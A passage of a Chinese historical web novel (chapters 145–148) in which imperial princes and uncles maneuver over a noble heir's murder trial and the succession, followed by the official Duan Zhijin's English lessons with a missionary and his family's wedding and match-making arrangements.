等进了门,礼王只见纪明祚一副苦恼万分的样子,便知他心里还有几分怕得罪长乐王,上前问道:“想什么呢?” 纪明祚叫他一吓赶紧起身,“王叔怎么来了?快请坐。” 礼王也不推辞,坐在他的身边又问:“刚才见你愁眉紧锁,可是有什么难题?说给叔叔我听听,也许能给你一些解决的法子。” 这个叔叔向来与世无争,是最为温和有礼的王叔,纪明祚便没有设防,将方才的事情说了出去,引得礼王一声叹息。 “你是有孝心的孩子,难为你还记得你王叔的心意,十一弟也没白疼你一回。要我说你父皇的心思固然重要,但你王叔的心思也不能不管。你知道的,他一向受宠,比起你来,就差一个……的位置了。不怕你心生芥蒂,前些年他还议过储呢。你父皇是气量大的,又向来疼爱你,即便是这次不合他的意思也没什么。但是你长乐王叔可是一个气量小的,一向睚眦必报,你若给他的儿子判了除爵,不利于你日后入朝。” 他说到这里眨眨眼,诙谐道:“柿子得挑软的捏不是?” 纪明祚还是不如这些老狐狸的心思明白,一下就让人猜中了心思,讪讪笑道:“这是其次的,只怕误了皇帝的圣名,叫人说我父皇的不是。又怕是让父皇与诸位叔伯兄弟产生误会。” 礼王了然,又开始故弄玄虚:“你得知道儿他一向和太子交好,平日里又和唐雅媛玩得欢。一个是太子,一个是你的四弟。若是纪明出了事情,你说当爹的会关照谁?会想着谁呢?你大可这样想如果这次你判不对,顶多是叫你父皇换人来审,却不会得罪你的王叔。你也算撇清了这脏手的差事。” 他顿了顿,又道:“一两次的差事办砸了,你父皇并不会因此更看中别人别人,可若是这次叫你王叔恼了你,他又领着会考府,你去哪个部也绕不开他呀。” 这个主意好呀!这样的话了,就从这浑水里边脱出了身,有什么旁的事就叫别人去处置,自己倒是能里外不得罪。纪明祚谢过王叔,出去叫众人集聚,开始最后的议罪。 纪明祚端坐正中,纪明心如擂鼓,只听自己的堂弟道:“《尚书》云:刑期于无刑。今纪明虽犯重律,然其长乐王叔有安社稷之功,若遽施显戮,恐寒宗室之心。因而不如将其圈禁于王府,令习圣贤之道以赎其愆,以彰仁德,慰勋臣。” 段之缙的眼睛一下子睁大了,震惊地看着纪明祚。秦行则瞪着自己这个学生,不知道他刚才传了些什么话,怎么弄出了这么个处置的方法。 他也等不及段之缙去问了,自己直接问道:“殿下,这恐怕不合律例吧。我们只问了前天的事情,陛下给我们的圣旨,可是要将之前的事情一查到底,是想要数罪并罚的。” “但长乐王世子好歹是超品的爵位,宗亲的近支,这般公开审讯已经是不顾体面了。若要再上重刑为他除爵,岂非显得不顾人伦、不近人情。” 段之缙听得目瞪口呆,好家伙,这可是你爹叫审讯的,你在说你爹吗? 秦行这么多年的暴脾气属实是从来没改过,胡子花白的人眼一瞪就要开始辩驳,被段之缙一把拉住。 “殿下,您可想清楚了,这题本可是要给陛下看的。在这里您是主审我们不过是陪审的,主要的责任可还是您来担当。” “两位大人放心,自然是由我一人担当。” 可想而知,这样的题本奏了上去,皇帝是如何的火冒三丈。他叫来段之缙,一本折子就砸了过去。 “朕吩咐的你什么?你全当耳旁风?” 段之缙心如止水,将折子捡起,双手捧上:“回陛下,不是臣推脱责任,实在是臣说的明明白白,但是三皇子仁爱天生,他不听臣的,臣也没有办法。” 这话说的,有些阴阳怪气,皇帝不可置信,他问道:“你是如何说的,一字一句都要回给朕。” 段之缙照实说了,连礼王和他说的话都跟皇帝说了。 皇帝亲王做了十几年,龙椅坐了十几年,还有什么东西不明白?脑子不用转,就知道是礼王那厮作的怪,恐怕还有长乐王的干系在,要不然礼王凭什么为他说话? 好呀,背着他勾搭到一块儿去了…… 皇帝叫来人去查长乐王和礼王有没有接触,越想越气,本来还想只是给那畜生革爵,现在非得叫他知道知道什么是天威不可挡,什么叫头上只顶着一个天。 他把段之缙叫起来:“行了,这也不是你的错,只怪朕的儿子掂量不清轻重。”他想了想,忽而有了一个出奇料理的法子:“既然太子和纪明玩得好,那就叫太子主审,去审那畜牲。”才要下旨,先来了太子染疾的消息,说是热伤风,现在昏昏沉沉,已经起不来了。 皇帝冷哼一声:“他倒是病得及时。太医怎么说?” 吕太清答道:“的确是热伤风,若不好好养着,恐怕会落下头疼的病症。” 皇帝也不能强逼着病人去办差,只好作罢,现在看来只能叫大臣们顶上,眼前的段之缙是不行了,不过秦行做主审还是可以的。 结果又是没下旨,外边又传绥王求见。皇帝叫纪明瑚进来,那个儿子乖乖巧巧地行礼,张口就道:“父皇,纪明那个案子叫儿臣来主审吧。” 第145章 145“哦?你想来审。”…… “哦?你想来审。” “是父皇,这案子就由儿臣来吧。” 皇帝问道:“那你想怎么议处啊?” “自然是按律议处,除爵赐自尽。” “你不怕得罪你的王叔?” 这会儿轮到纪明瑚不解了:“儿臣按律行事,怕什么得罪王叔。再者,儿臣是父皇的儿子,除父皇之外,皇子在宗室中最为尊贵,他虽为长,但我为尊。他有王位,我也有王位,我怕他做甚?” 皇帝哈哈大笑:“是了是了,他有王位,你也有王位,你自然不需怕他。既然你有这个胆量,那便由你去审吧,把之前的事情也全都给朕审清楚,明明白白地给他议罪,不要让人冤枉了他,也不要轻易的把他放过。” “是,儿臣明白。” 皇帝又对段之缙道:“明天就接着审。你和秦行仍然陪审。” 段之缙道真佩服这个年纪小小的王爷了,难道他真的敢跟长乐王对着干吗?就算不认那堂兄,入朝之后他不怕他的王叔吗? 身体大不如前的皇上需要宗室来收拢权力,而他能信得过的宗室,宗室中有才敢有能力的,也就长乐王了。 第二天一大早,绥王领了差事,下了尚书房头一个到宗人府,在正堂上端坐,等着其他的大人来。 众人到齐后,他命人把纪明带上来。果然没跟着他的父皇扯谎,真是把之前的过错连根带土地拔了出来,一丝情面都不留。 礼王急得团团转,自然是想和他说话,但纪明瑚好像不知疲倦一般,中午饭也不吃,连带着诸位大人也别想吃饭,从中午日头烤死人一直审到了晚上天漆黑,就这都审不完他的罪过,第二天还得接着审。 礼王没有旁的法子,这小子软硬不吃,看来只能去找那个好弟弟了。 原本手拿把掐的事情,现在全泡了汤,长乐王如何不急,再想想礼王所言的审案的架势,恐怕是要罩着赐死议处。 如果礼王不能和他说明白, 那就由自己亲自去说。 翌日,长乐王从尚书房门前过,结果纪明瑚早早就倚在了门口,和他那伴读嬉笑,还不等他上前,自己便上前来说话。 “王叔。”那个气息轻弱的侄子浅浅笑着向他请安。 “您近来可好呀?身子怎么样?” 长乐王王心中一团火气,但有求于人都要做出一副笑脸:“多谢你的问候,若不是你堂兄这个杀才,恐怕我还能睡得着觉。” “王叔这是在怪我?岂不知我是在救王叔呢?这也是在救堂兄。” 长乐王听此一言,便知纪明瑚是另有打算,赶紧询问。 “我三哥给父皇上的题本……您怎么能从这上头使劲儿呢?” 长乐王的神色一下变得难看,问道:“这是皇上告诉你的?” “非也非也。也是造化,我这几日正在刑部和秦大人学习,他一回来就把宗人府的结果告诉了侄儿,侄儿就算用脚趾头猜猜,三哥也不至于如此这般不把父皇的心意放在心上。定然是有人挑唆了他。” “那究竟是谁呢?究竟是谁叫他罔顾父皇的心意给您的世子判了如此轻的惩罚?” “王叔还要我接着说吗?可惜你使劲使错了地方,我跟父皇下得保证,要给您的世子议成死罪。但是在这之前您却是大有作为。” 长乐王听到这也算听出来了,这个侄子还给自己想了个招呢。思着了片刻,说道:“今天晚上下了值,我去给太后请安。” 他这个意思就是在暗示纪明瑚,想要在西宫太后宫中详谈了。 纪明瑚闻弦歌而知雅意,也答应下来。 晚上长乐王在太后宫中等了片刻,纪明瑚才姗姗来迟,太后也知道自己那个宝贝孙儿现在危在旦夕,赶忙给他们腾出了一件空室。 要知道,若说这紫禁城里还有一处可以不受监管,那就是在太后宫中。 一是监视太后有违孝道,二则是没必要,毕竟哪有亲娘会害儿子的。 “儿审完了吗?”毕竟今日又审了一下午,长乐王担心审完给他议成了罪,也是情有可原。 “王叔放心就好,今天下午问得格外细,一时半会儿也审不完呢。您就是性子太直太正了,连婉转的法子都用的那么僵。要知道父皇他对着旁人软硬不吃,对着咱们可向来都是吃软不吃硬。您一味地和他顶撞,一味地违逆他,只怕会从此失去圣心。不如以退为进,趁着最后大臣们的提议还没有下来,跟皇上自请除爵,不光是世子的爵位,还有长乐王叔您的王爵。” 长乐王的脸一下子黑了,如果说一开始他是因着受宠,平白得了亲王的爵位,可这么多年他给皇上拉磨,给朝廷卖力,这爵位也不是凭空得来的呀,就算没有功劳还有苦劳呢。 纪明瑚一下子就看出了他的不乐意,笑道:“难道父皇会真的革了您的爵位吗?除了他的亲儿子,头一个数着的就是您了,就是有些亲儿子也不及您不是?” 看着他的幼子纪明煜的名字便知道了。皇子这一代名字中从“日”,除了一个纪明祚是特恩,纪明瑚是特例之外,没一个不从“日”的。 皇孙这一代才从“火”,就譬如焕儿。 结果纪明煜这名儿倒是有意思了,又从“火”又从“日”,又是长乐王的儿子,又是皇帝的“孙子”。 纪明瑚每次想起纪明煜的名字,都总是会想长乐王叔到底算是他们的叔叔,还是他们的兄弟呢?毕竟王叔和太子二哥的岁数也差不太多。 纪明瑚又道:“我听说王叔出去营田水利都是在冰天雪地里步行,那高山峻岭也是亲自爬上去。冰冻三尺,河水凉得刺骨,您派人凿碎了河面,仅穿着穿着薄薄的裤子亲自下去探河。现在才回来不久,虽说天暖了些,可若是在养心殿外跪上个一时半会儿,腿应该也受不了吧。” 长乐王听到如今算是全明白了,他摆手止住纪明瑚的话,又仔细打量了一下这个好孩子,赞叹起来:“果然是你父皇的心肝,谁还能及得上你呢?你是聪明人,只看有没有造化二字。苦肉计我也不是第一回了……” 纪明瑚一皱眉,“王叔,哪个教你使苦肉计了?你使苦肉计,只会叫我父皇觉得你矫揉做作更是不耐烦。说不定会以为你恃宠生娇来故意为难他了。” “那你的意思是?” “我的意思是,您要说经此一事,害怕往后动辄得咎,更害怕以后也落得儿子这个下场,因而要推辞掉您的王爵,以后不再干政,安安心心地读书,去庄子上养身体。” “这……”长乐王犹豫道:“岂不是更恃宠生娇?皇帝难道听不出来?” “所以您得扮些惨相。腿呢,不要太利索脸上也不要有太多的血色。您想给堂兄他求情,就不要给他求情。您知道的,父皇这个人一向是吃软不吃硬,若是不想放你走,定然要安抚你。不过嘛,他若是答应了,真叫你去行宫养身体,也说明真是忍够了您,您就好好地回家养身子去。” 长乐王颔首,又瞧着纪明瑚道:“咱们叔侄两个打开天窗说亮话,我一向不喜欢欠别人的人情,你这样帮我,需要我为你做些什么?” 纪明瑚亲手给长乐王倒上了茶,“您是朝廷里的超品亲王,宗藩里的柱国,我不求别的,只求以后彻底不去尚书房之后能由长乐王叔带着我,提点着我。” 这当然不是他的真心话,救下他的世子怎么能就这样轻松地报答了呢?但是再说却扯得有些远了,且在长乐王看来,怕是有些不切实际,没得叫人笑话。于是他就只说了这一点。 长乐王答应下来,准备今天晚上好好打算一番,明儿就叫皇帝看看他的决心。 而皇帝已经得到了和他私自和礼王沟通联络的详细经过,气得不行。如果是平时他和谁交往,自然不至于如此,但是前边刚刚出了他儿子的事情,现在又不和自己实话实说,操纵着旁人来干涉此事。他以为他是谁呢?又想起会考府是他一人主管,虽不至于怀疑,但仍是要敲打敲打。 朱笔一提,决定把方叙墨也派过去。 最后一个字刚落下,吕太清就急匆匆地进来,“不好了皇上,长乐王王跪在外边请罪呢。 皇帝眉头一锁,他请什么罪?难道是为了他的儿子来请罪的? “真奇了,他还知道有请罪二字呢……叫他进来吧,殿外人来人往,别在外边丢人现眼。” 吕太清赶紧把王爷叫进来,长乐王袍子一撩,又跪在御案之前,难得的行了三跪九叩大礼,泪汪汪地说道:“陛下,臣是来请罪的。” 皇帝还是没有当回事,一边看折子,一边问道:“你是来请何罪的?是你的儿子当街杀人的罪过?” “不仅是臣的儿子有过错,还有臣教导不善的缘故。宗藩里,臣受恩最重,却叫陛下为难,实在是不应当。臣请除去纪明世子的爵位,将他圈禁在家。也请陛下革了臣亲王的爵位,惩处臣教子不严的罪过。” 皇帝一皱眉:“哪就到了这个地步了,你有悔改的心,知道你儿子有错就好,但是也不必给你除爵。” 长乐王白生生着一张脸跪在地上,话也说不出来几句,额上俱是冷汗,仍坚持着开口,将昨天琢磨了一晚上的话带着泪意说了出来。 “臣实在是愧不敢当,这些日子总是梦魇,被审的竟然不是儿,是臣自己。臣在梦中不知是犯了什么罪,竟也得了个宗人府会同三法司共审,醒来之后心惊胆战,怕早晚有这么一天。且……且臣这些年来营田水利,腿脚也是不好了,想卸了差事去行宫养身子。” 皇帝听他要卸差这才抬起头看一眼,就见他一脸汗水满眼泪,一时间心乱如麻,朝着吕太清骂道:“你瞎了吗?为什么不给他搬个椅子?把太医也找来,之前不是说腿没事儿吗?” 皇帝自然知道长乐王的打算,毕竟也算是他养大的,但该舍不得了还是舍 不得,再加上最近乱得很,一时之间离不开这个弟弟,一定要先安抚下来。 于是他叹一口气:“成日不想着办差,偏生会瞎想……这样吧,你上折子改立煜儿为亲王,儿先除爵圈禁,等着他改好之后再说。” 第146章 146等着纪明瑚带…… 等着纪明瑚带着大臣们商议的惩罚来养心殿的时候,皇帝有些挂不住脸,他叫纪明瑚过来,伸手接过折子,一眼看到最后,果然是给纪明议成了赐死。 他阖目养神,眉眼低低地压着,突然发问:“你前几天和长乐王在尚书房门口说了什么?” “没说什么,就是劝王叔不要再插手这件事情了,要小心自己的爵位。” “是吗……你知道你王叔过来说什么了吗?” “儿臣不知。” 皇帝便也没有再问,也没有说别的什么,只用血淋淋的朱笔勾去了最后的几个字,又草草而书,把和长乐王约定的改立世子的事情写了上去,叫纪明瑚退下。 养心殿里又是空荡荡的,除了吕太清等太监宫人,就剩下皇帝。 他又合上眼睛沉思,最后发出一声嗤笑:“全都有自己的心思啊……” 他老了,儿子另有心思也正常,但属实是没想到,连纪明瑚也有心里的小九九,也想着做太子。 现在改立太子吗?使名分定下来自然是最好。但老三非嫡非长又无大功,太子无错被废,若替代者不能使所有人都心服口服那就相当于人人都有意见。皇帝自然是能够力排众议一意孤行,但这时候他又想着于名声有碍,不愿意在自己已经一塌糊涂的名声再记一笔新的。 也许只有叫老大稳稳地占住太子之位,才能叫这些人歇歇自己的心思。 正如自己和那些兄弟,正是因为前边的太子没了,才有了后边的互相攻讦。 难啊,那就先这么着吧,走一步看一步。 这次的事情又是雷声大雨点小地处理了,纪明虽被除爵,但世子的位置又给了他的弟弟纪明煜,于长乐王本人损失更小。可长乐王也不愧于他九哥“睚眦必报”的评价,这次的事情有一个算一个,跟他对着干的全叫他记了下来。 秦行、段之缙,自己究竟是哪里得罪了他们。 自然,他怎么想,段之缙如何能知道?晚上给自己开小班,和洋老师白瑞恩学习各种西洋的学问。 首先要把已经二十多年不用的英文捡起来,这一点倒是不很难,可因为两个时代的差异,他所熟知的很多单词还没有在西洋产生,也有很多单词是如今熟用但在他的时代已经被抛弃了的。 且也不是段之缙一人在学,除了孩子们必须学之外,其他的人若想学也可以学习,反正闲着也是闲着。 这一天下了课,天已经很晚了,段之缙还是特意将白先生留下来,问些西洋的事情。 他帮着白瑞恩收拾教具,顺口问道:“您来雍朝时间应当不短了吧。” 白瑞恩闻言手下动作一顿,开始认真的回想。 “已经十五年了。” “那岂不是在先帝龙御归天那年到的京城?” “的确是那一年,我的老师在宫廷侍奉,我本是要到宫中做御用画师的。” “那怎么到了城郊的教堂中做神父了?” 白瑞恩苦笑:“当今陛下说并不需要这么多的宫廷画师,也只对我们的算数方法有些兴趣。” 宫中不需要那么多的洋人伺候,白瑞恩自然难以进宫。 “不过幸好还有教堂供我任职。我远道而来,是奉了神的旨意在此兴教,能够在京中传播福音也是莫大的荣幸。” 在雍朝传教,需要的经费自然不少,被达官贵人聘请做私人老师以及接受在宫中侍奉的传教士的接济是他们非常重要的收入来源,尤其是段之缙这样好说话,还愿意听他传教的贵族更是不可多得的优良客户。 他们平时讨论的事情很多,段之缙今日想问的是绥王的事情。 “你们教堂中可有教导皇子洋文的先生?” “段大人,您也清楚,皇帝是不允许我们教授皇子外文知识的。用你们的话来说,这是华夷大防。” 那绥王的洋文是从哪里习得的? “你的同伴们都去了哪些人家做教师?” 白瑞恩眨眨眼睛:“您知道的,这些内容都是保密信息,我们不能对外人透露。” 段之缙失笑,将教具都装到白瑞恩的箱子里,俏皮道:“我们这样师生的关系,也算是外人吗?” 白瑞恩为难:“您不要这样,如果这些信息透露出去……” 在京里还能聘请传教士做老师的人定然不是一般人,若把他们的信息透露出去,那这教堂也不用办了。 “好,我明白,那我们聊聊旁的事情。我想知道你们国家是否有能够极快纺织的纺织机,或者是能用水和煤驱动的机器?” 白瑞恩眼里一片迷茫,也不知道是真是假,“实不相瞒,我离开教皇十多年,若您想知道,我只能说在来贵国之前并没有听说过。” 什么有用的信息都没有得到,段之缙送白瑞恩出去,仍想着绥王的事情。 他已经看得清清楚楚明明白白了,这个金枝玉叶也盯着皇位呢,怕不是又要闹一场储位之争。 不,已经闹起来了……皇太子、三皇子、绥王,现在是前两个人斗,等着皇太子被废,就是后两个人争。 把所有的官员都牵扯进去,在十几年后再重复一次前朝的混乱。 段之缙不希望出现这种事情,因为闹到了极点,连不站队都是错,到时候他在西南的,在淮宁河田府所筹划的一切都会随着储位之争化为灰烬。 平静的海面下似乎已经翻涌起看不见的漩涡,但新年比惊涛骇浪来得更早。 腊月二十三,段家的灶神龛前新贴了木制的、色彩鲜艳的灶王爷、灶王奶奶画像。供桌上摆着琳琅满目的祭品。王虞穿着簇新的靛蓝色衣裳,鬓角一丝不乱,神情格外庄重。她点燃三炷细细的线香,袅袅青烟在昏暗的油灯光晕里盘旋上升,混着灶膛里柴禾的余烬味道,小孩子和半大孩子被大人告诫噤声,挤在门边,段之缙和段之绪垂手肃立,口中念念有词,祈求灶君“上天言好事,回宫降吉祥”。 到除夕日里全家上下做清洁,把满院的玻璃窗都擦得一尘不染。 下人们今年也高兴得很,无他,跟着西洋船来的“玻璃”可比窗户纱好清理得多。 等全都拾捯完了,王虞又要操持起给段訚娶亲的事情,他今年也到了岁数,十七八的年纪娶亲已经不算早了,若不是人家的女儿要留到十五岁,该早早迎进来才对。 对方是国子监祭酒的孙女,正是在段之绪于国子监读书时定下的亲事,原本计划在今年八月过了中秋节迎亲。但现在却不太行了,因着女孩儿家的父亲身子不太好,怕骤然守了孝叫段訚再等三年,两家便想着今年三月份天气一回暖就迎亲,要守孝也到段家去守。 原本八个月还算富裕,现在剩下三个月有些急促了,若不是用钱往里砸,怕是弄不齐那些上好的物件。 另外,除了宋兰晫早早就定下了奉恩郡王的女儿之外,剩下的孩子也该议亲,尤其是段诠,他的爹娘忙昏了头,竟然回了京才记挂起这件事情,叫王虞骂了个狗血淋头。 俗话说正月里不议亲,因而现在说起来也就是和段之缙他们商议商议。 “你这四十年也就这么个独苗,定然是要好好打算。要我说还是知根知底的好,若能和郑家、方家他们结亲是最好。” 段之缙摇摇头:“郑兄的儿女怕是有王爷做安排,方弟的子嗣皆为公主所出,应当由陛下做安排。” 说实话,就算是叫段之缙和他们两家结亲,段之缙也是不愿意的,全因这一个死死绑住了长乐王,另一个已经卷入了夺嫡的风云中,在还没有完全了解诸位皇子性格的段之缙看来并非好的选择。 “那你是什么意思?” 段之缙的想法自然是既不该包办婚姻也不该英年早婚,但他自己都是英年早婚包办婚姻,更应该入乡随俗早早地给儿子预备上。 “儿子想着和邹文商议商议,他家有一小女,比锁儿小三岁,若能和他家结亲是再好不过。若不能,与儿子同年的状元现如今在理藩院任职,他为人最正直不过,家教也严,同他家结亲也好。自然了,若锁儿有喜欢的女子,我做父亲的自然是竭尽全力。” 王虞撇撇茶上的浮沫,随口说:“他能有什么心仪的女子,他见过的女人无非是家里的小丫头。” “儿子正是这个意思。” 王虞又要生气,可还是没发出火来,最后叹息道:“反正我不是他的老子娘,你们觉得行的通,那我也管不得。但咱们还是先说明白,要先同邹家商议。” 段之缙答应下来,在私库中翻了半天才翻出来一对双蝴蝶的玉佩,但放的时间也有些长了,并不十分莹润。 这样的东西拿出去不庄重,他便又托人从南边运,直到三月初才拿到了一对同心结环佩,等着中午头官员们吃饭的时候跑到户部探邹文的口风。 因为两个玉佩都不大,便一起放在了小紫檀匣中,揣到大袖中去见邹文。 此时邹文一边看文书一边用饭,段之缙坐到他旁边把小匣子一拿,放到了邹文眼前。 邹文的眼睛从文书移到木匣上,又瞟了段之缙一眼:“干嘛,你还用得着给我送礼?” “非也,打开看看。” 邹文一推木盒便也明白了,回道:“倒是能,只不过这事儿得晚上下了值再聊,你来我家中商议如何?” 第147章 147段之缙当天晚…… 段之缙当天晚上到邹文家中商议,邹文给他上了御赐的六安瓜片,旁边另有一男子作陪。 邹文给段之缙满上茶水:“你来得晚了,我的女儿已经已经选好了人家,是唐馥唐总督的幼子,不过我这里还有一个好女孩儿,比你儿子大上三岁,正是我亲兄的女儿。” 邹文的兄长邹武起身和段之缙作揖,段之缙亦回礼。 “实在不是骗你,只是我这侄女年数虽大,旁的毛病一点儿也没有。若我们两家结为秦晋之好,这女孩儿在其中婉转着,定不会生一丝一毫的别扭。” 邹文这个事情做的不地道,该将事儿说明白了,段之缙送玉佩就是为了他自己的闺女,怎好连个招呼不打就把侄女推了出来? 但这倒是正中段之缙下怀。 大家自然是想给锁儿挑一个年岁小的,十四五的女孩儿进段家门给段诠做媳妇,可段之缙哪能受得了呢?就算受得了,万一小小年岁怀了孕,这可不是闹着玩的。 眼下这个年岁长三岁,对锁儿来说恰是正好。 锁儿今年不满十七岁,女孩儿正巧大三岁,二十岁已经算是长成了人,就算是在现代结婚也是成的。 但段之缙还怕邹文忽悠他,问道:“不知贤侄女因何没能议亲?” “实不相瞒,本已经议过亲,也是十五岁要出嫁,结果男方那边先丧母后丧父,足足守了六年丧。我们女孩儿心眼好,没过门也愿意给舅姑守孝,守了整六年,前些日子刚出孝期,婚事该操办起来了,那男的一意孤行出家去了,抛下我们这个小女孩没了去处,拖到二十岁另找人家也成了难事。” 说起来邹文也是愁得慌,若不是早知段之缙秉性绝不敢这样行事。 不过真要嫁不出去便嫁不出去吧,能在家里养一辈子总比胡乱嫁了好。 “你若是同意,就请冰人来。” 邹武眼巴巴看着,想借着这一场好婚事叫小女扬眉吐气。 谁知段之缙却摇摇头:“含章兄,你知道我这个人,于婚事上素来是你情我愿,我妹妹嫁人我都得叫她相看一番,更何况是我自己的亲儿子呢?再者你们家的女孩儿也得先相看我儿子才对,若看不中我那顽劣小儿,也不能打着为人家好的名义将他们强凑成一对怨侣,这样还不如将贤侄女留在家中。” 邹武自然是不愿意叫女儿抛头露面,更何况两家根基虽不深,如今也是有头有脸的人家,儿女婚嫁自然是父母之命、媒妁之言,哪有孩子们置喙的道理?但他虽为长,家里的事情却是弟弟邹文说了算,只见邹文满口应下来:“自然,这样吧,等着你叫锁儿来我家中拜访,我叫女儿出来见一面如何?定也叫你的儿子见着我们女孩儿。” 两人就这般约定下来,等着休沐日叫段诠送些杂书。 只是打算得好,现在段家全忙着段訚娶亲的事情,竟也没什么功夫再去处理自己的儿子的亲事。 三月二十八日,宜嫁娶,新绿已爬上枝头,风里却仍裹挟着一丝料峭的寒意,但段之缙一等公府所在的那条胡同却蒸腾着灼人的热气。 府门大开,朱漆兽面锡环在阳光下闪耀着刺目的光芒,门楣之上层层叠叠的红绸缠绕垂落两串硕大无比的红灯笼,悬在门楣两侧,在微风中轻晃。 胡同早已水泄不通,琼香站在高阶之上,中气十足地下令,小厮们便奋力将大把崭新锃亮的铜钱和各式的糖果撒向人群,刹那间,哄抢声、孩童的尖叫、铜钱落地的脆响汇成一片。 “吉时已到!”司仪拖着长长的腔子高喊,鼓乐陡然也拔高,仪仗开道,庆成灯高擎,领催马队蹄声阵阵,簇拥着八抬花轿款款而来。 今日的新郎官段訚高踞骏马之上,面如冠玉,眼含笑意地向四周拱手致意,他这个未婚妻已经定下多年,彼此知根知底,且年少慕 艾,心里早就想着这一天。 花轿稳稳落在府门正前,鞭炮齐鸣,硫磺的气息瞬间弥漫,浓烈得呛人。喜娘趋前,嗓音带着刻意拔高的喜气,拉长了调子:“请新人下轿!”轿帘便被一双满是皱纹的手恭敬掀开,一个身着大红吉服、头罩大红销金盖头的身影,在左右两位盛装老嬷嬷的搀扶下,缓缓探出身来,每挪动一步,环佩叮当。 新人踩在早已铺就的猩红毡毯上,毡毯一路延伸,穿过三重庭院,直抵府邸深处张灯结彩的喜堂。沿途,仆役垂手侍立,来贺喜的宾客们夹道相迎。新娘由嬷嬷搀扶着跨过门槛下低燃着的炭火盆,又迈过朱漆马鞍,这才算是进了门。 之后便是拜天地去,新妇被送入洞房,段家两兄弟今日特意请了假,段訚叫他的父亲和叔父领着给众位大人敬酒,也是他小小年纪头一次跟如此多的朝廷重臣说话。 这其中有他认识的方叙墨、郑楒琅等人,都是之前来过家中,还有其余不认识的,叔父在官场上的同僚。 和微受新郎官的敬酒,赞他和国子监祭酒的孙女好一对佳偶,又问起功名的事情:“可下过场了?” 段之缙笑答:“比我那儿子争气,今年八月里就要秋闱了。” “我依稀记得他是要回淮宁省考试的吧?” “正是。” 和微赞叹道:“真是少年英才,这一去定然是蟾宫折桂,等着明年的会试了。” 段訚躬身施礼:“承大人吉言,学生在此谢过。” 段之缙又领他去给邹文敬酒,邹文饮下酒水,照例贺喜两句,又催着段之缙赶紧办该办的事情,千万别拖。 段之缙应下,领着他旁处去,直喝得三个人面红耳赤这才作罢。 晚上叫了些小丫头闹洞房做个仪式,热闹了一天的段府才平静下来,此时天已经漆黑了。 第二日也该去当差,段之绪还能留在家中受新妇的茶水,因为亲家公身子不好,刚进门的文玉心中放心不下,便想三日回门的时候在娘家住些时日,好照顾照顾父亲。 这要求自然不好她来说,因而是段訚主动跟祖母提的,王虞满口答应下来。 三日回门的时候,文玉就回家服侍父亲去了,而现在尘埃落定,段之缙就有了功夫操持段诠的事情。 虽说是叫送杂书去,但总不好真地送杂书,段之缙就跑到书房里找,抽出了些不知哪年哪月赐下的孤本,用锦缎包着,拿雕花嵌金的木匣装好,叫王章套车,命段诠送到邹文府中去。 段诠老大不乐意:“怎得还叫我去送,王伯一人不成吗?” “偏你的话那样多,你有什么国家大事要处理,连个书都送不得?” 因为人家女孩儿的名声要紧,现在那边不松口,段之缙便不能跟儿子说。 段诠撇撇嘴:“那好吧。”还是很不情愿地抱着木匣出去。 好在段诠在家中娇惯些,但在待人接物上一丝错儿也挑不出来,进了邹家大门笑盈盈地上去问礼:“侄儿给伯父请安了,这是我父亲命侄儿送来的书,还请伯父查点。” 邹文对他此行心知肚明,因有别的打算就不能用以往的目光看这孩子,竟然掏出了御赐的眼镜打量,从发梢扫到脚后跟,最后心中暗暗叫妙:“两口子的好处全长这一根独苗上了,难得。” 于是热情地拉着他坐下,叫人上茶。 “你尝尝,这是御赐的六安瓜片,一般人来了我不给上,唯有你父亲和你来了才有这个福气。” 段诠双手接过,下了苦功夫去品,赞道:“浓而不苦,烈而回甘。侄儿也是托伯父朝廷重臣的福,若非如此,这御赐的瓜片怎得叫我这无名小卒喝上了?” “哎,你何必自谦,给三皇子做伴读也叫无名小卒吗?你的前程且远大着呢。” 凡是长辈见晚辈,总要考问学问,邹文也不例外,一来二去茶水也就见了底,可偏偏邹文问到了兴头上,愣是不记得给人添茶,说得段诠口干舌燥,嗓子也渐渐嘶哑。 恰巧这时候进来一位女子,低眉敛目款款而入,提着壶给二人添上。段诠几乎是在水添好的一瞬间便去拿杯,因为心里急便握得满,被烫得一个激灵,手猛地撒开,正巧碰到了来人的衣角。 他原本没那么在意,只觉得哪有这般添水的丫头,给客人添滚水来,抬头一看正瞧着一张玉脸,再看来者的打扮绝不是丫头,吓得头低下去,生怕冲撞了她。 果然,那女子细声慢气道:“叔叔也太严格,人家虽为晚辈也是客人,总该叫人家喝口茶水吧。” 邹文讪讪一笑:“瞧我老糊涂了,倒难为你愿意听我唠叨。”说完又看着侄女假嗔道:“瞧你帮倒忙了不是,哪有用滚水添水的?给我贤侄烫成这样。” 女子欠身施礼,段诠口称不敢,心焦焦地盼着人家赶紧走,哪怕叫邹文再考教个把时辰也行。 等着人终于走了,段诠松下口气,又听邹文留他吃饭,匆忙回绝:“家父还等着侄儿回去禀报,实在是不敢久留。” “这样?那好吧,你先一坐,等我找些东西,劳你带回去给你的父亲。” 段诠等了好长时间,邹文只拿出一个紫檀木小匣子来,等着他回家后段之缙打开一看,原本一对的双蝴蝶环佩只剩下了一只,另一只已经叫邹家人收下了。 第148章 148段之缙见这个…… 段之缙见这个事情有了着落才跟沈白蘋说清原委,沈白蘋手上书一合说道:“邹家三姑娘我是知道的,他家这个女孩儿也是小有声名,谁听了都得念一句好,叹一句可惜。” “因着她给前未婚夫守孝的缘故?” “正是。还没过门,愿意同未婚夫守一个孝期已经是很难得了,她可是连着守了六年,结果临了人家出了家,她没寻死觅活,这样的心性小女孩难有。”说完又想想自己的儿子,笑道:“咱家那个跟猴子一般,难为她能看上。” 段之缙找补道:“锁儿也还好吧,再者咱们锁儿长得俊俏啊,我瞧着尚书房里除了绥王,数着他最俊俏。也不能如此说,他俩是不一样的俊俏法。” “人家姑娘也是少有的貌美,举止从容,我同邹家娘子一块儿去育婴堂的时候,带的那几个女孩儿就数着她最伶俐,配咱们家定然是配得上。不过……” 沈白蘋又犹豫起来,觉得此事不保险:“要我说大上个两三岁无所谓,只是母亲那里如何?阿娘能答应吗?” 段诠虽得王虞的待见,但人家心尖儿上的头一份儿是大孙子,再者段之缙素来有自己的主张,她不是很愿意干涉。但姨娘却宝贝的不得了,十六七的孩子还当成小哥儿伺候,若叫她知道给自己的心肝儿挑了个老姑娘,怕是会不乐意。 段之缙道:“女大三抱金砖,就跟阿娘说,年岁大一点好照顾我们锁儿。再者你也知道,邹家和咱们家几乎是一块儿兴起来的,知根知底,家境又差不多,最为合适。” 若再往上找,人家嫌弃段家的根基浅,其他的到底没邹家那般亲切,这一番也算是亲上加亲。 